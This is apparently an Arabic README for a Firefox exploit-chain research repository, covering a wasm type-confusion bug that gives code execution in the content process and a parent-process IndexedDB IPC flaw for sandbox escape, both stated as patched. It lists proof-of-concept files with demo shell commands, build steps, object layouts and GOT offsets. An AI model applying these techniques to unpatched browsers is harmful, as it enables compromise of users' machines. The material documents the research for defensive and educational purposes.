
سلسلة استغلال كاملة لـ Firefox: CVE-2026-2796 التباس النوع في wasm -> RCE في عملية المحتوى، بالإضافة إلى CVE-2026-2768 تحليل الهروب من عملية الأصل (تم إصلاح كلاهما في Firefox 148)
بحث استغلال كامل السلسلة لمتصفح Firefox: التباس نوع في WebAssembly من أجل
تنفيذ كود في عملية العرض (renderer)، متسلسلًا نحو ثغرة في عملية الأصل لتحقيق
الهروب من صندوق الحماية. تم إصلاح الثغرتين في Firefox 148 (MFSA-2026-13)؛
الهدف هنا هو شجرة Firefox 148 الليلية عند 2fbc0748c4 (2026-01-14)،
والتي تسبق كلا الإصلاحين.
page loads crafted wasm module
│
CVE-2026-2796: Function.prototype.call.bind unwrap skips signature check
│ → i64 ↔ (ref $t) confusion → addrOf/fakeobj
│ → fake WasmArrayObject → arbitrary R/W in the CONTENT process
│ → forged WasmFuncRef → hijack call target ([funcref+0x38])
▼
native code exec INSIDE the sandboxed content process (sbLevel 3)
│ (sandbox blocks exec/fork — need a parent bug)
▼
CVE-2026-2768: forge IndexedDB add/put IPC with out-of-range
mAutoIncrementKeyOffsets (ParamTraits<Key> validates nothing)
│ → parent writes 8 bytes at attacker-controlled offset
▼
memory corruption in the UNSANDBOXED parent process = full escape
| العرض | البيئة | النتيجة |
|---|---|---|
poc/shell/poc-crash.js | js shell | 0xDEADBEEF تم إلغاء مرجعيته كـ funcref → SIGSEGV عند 0xdeadbf2f |
poc/shell/poc-addrof.js | js shell | اختبارات ذاتية للقراءة/الكتابة العشوائية تنجح |
poc/shell/poc-forge.js | js shell | التحكم في PC: انهيار عند canary مزروع |
poc/shell/poc-rce.js | js shell | system("id > /tmp/CVE-2026-2796-PWNED; open -a Calculator") — الملف يحتوي على uid=501(sid) ...، وتنفتح الآلة الحاسبة |
poc/browser/stage1-browser.html | Nightly (sbLevel 3 content) | قراءة/كتابة عشوائية في التبويب المعزول؛ funcref مزور يقفز إلى 0x4141414141414141 → التبويب ينهار، والعملية الأصلية تنجو |
poc/browser/stage1-browser-cmd.html | Nightly (sbLevel 3 content) | يكشف قاعدة XUL، ويحل posix_spawnp (0x187xxxxx)، ويستدعيها مع /bin/sh -c "touch /tmp/PWNED-FROM-CONTENT" → صندوق حماية macOS يرفض التنفيذ: الملف لا يُنشأ، والصفحة غير متضررة — دليل على أن RCE داخل المحتوى وحدها ≠ تنفيذ أوامر |
poc/browser/sandbox-proof.html | Nightly (sbLevel 3 content) | تنفيذ أصلي داخل قواعد صندوق الحماية: getpid() يعيد PID الحقيقي للتبويب (يطابق ps)، وwrite(1, ...) الخام من libc يصل إلى سجل الطرفية في المتصفح — لا fork/exec، ولا فتح ملفات |
poc/browser/fd3-proof.html | Nightly (sbLevel 3 content) | يكتب 32 بايتًا خامًا إلى fd 3 (مقبس IPDL للعملية الأصلية): محلل IPC في العملية الأصلية يستهلك بايتات المهاجم (Message needs unreceived descriptors ... num_handles:33)، ويُسقط الرسالة ويقتل التبويب ("Exiting due to channel error") — البدائية النقلية التي تسلّحها المرحلة 2 برسائل IndexedDB جيدة التكوين لكنها خبيثة |
poc/browser/stage2-trigger.html | Nightly | إمكانية الوصول عبر JS خالص إلى مسار ثغرة العملية الأصلية (مفاتيح فهرس الزيادة التلقائية [1,2,3,4]) |
انظر docs/full-escape.md لتحليل السبب الجذري للمرحلة 2 (فروقات الإصلاح، تسلسل IPC، استراتيجية الاستغلال).
# Tree: mozilla-firefox/firefox @ 2fbc0748c4 (2026-01-14, pre-FF148)
# 1) js shell (stage-1 development, unsandboxed):
cd js/src && ../../configure --enable-debug --enable-optimize \
--without-intl-api --enable-project=js && cd _obj && make -j8
# 2) full browser (stage 2). mozconfig:
# export CC=/usr/bin/clang ; export CXX=/usr/bin/clang++
# ac_add_options --enable-application=browser
# ac_add_options --disable-debug --enable-optimize
# ac_add_options --disable-crashreporter --disable-updater --disable-tests
# ac_add_options --enable-sandbox
# ac_add_options --without-wasm-sandboxed-libraries
# requires: node, cbindgen, rustc >= 1.87, macOS CLT SDK
# local build notes:
# - private header sys/fileport.h shim added to objdir dist/include/sys/
# - one compile guard added: NSGlassEffectView (macOS 26 SDK symbol) wrapped
# in #if __MAC_OS_X_VERSION_MAX_ALLOWED >= 260000 in widget/cocoa/
# nsCocoaWindow.mm (build-environment fix, no security impact)
شغّل PoCs الخاصة بالمتصفح: أطلق obj-browser/dist/Nightly.app مع ملف تعريف يقوم
بتعيين browser.dom.window.dump.enabled=true، وافتح ملفات HTML عبر
file://، وراقب stdout لمخرجات dump(). يظهر انهيار التبويب كـ
process <pid> exited on signal 10 في سجل العملية الأصلية.
WasmArrayObject: numElements @+16, data ptr @+24, inline data @+40.
WasmFuncRef: typeDef ptr @+0x40, call target @+0x38. JSFunction native
ptr @+0x20. js shell: os_system @ base+0x1a9f8, system GOT @
base+0x11d47b0. المتصفح: يتم العثور على قاعدة XUL بالمسح للخلف من مؤشر
كود أصلي في WebIDL (console.log JSFunction +0x20) إلى سحر Mach-O
0xfeedfacf؛ _posix_spawnp GOT @ XUL+0x9bb7d30، _getpid GOT @
XUL+0x9bb7600، _write GOT @ XUL+0x9bb87e0. يجب أن تعيش نوافذ المصفوفة
المزيفة في مصفوفة خارج الخط (مخصصة عبر malloc) — الكائنات المضمنة/الموجودة
في الحضانة تُنقل بواسطة مُجمّع القمامة أثناء عمليات الفحص الطويلة.
تنفيذ كود في عملية العرض عبر CVE-2026-2796 موثّق بالكامل (الصدفة والمتصفح). تحليل الهروب من صندوق الحماية لـ CVE-2026-2768 مُتحقق منه من المصدر مقابل فروقات الإصلاح؛ مشغّل إفساد العملية الأصلية المباشر من البداية إلى النهاية قيد التطوير (انظر الوثائق). هذا البحث لأغراض دفاعية/تعليمية؛ الثغرات مصححة في الإصدارات الحالية.
e2acef67c5dea6ecلأغراض البحث الأمني والتعليم والاختبارات الدفاعية فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.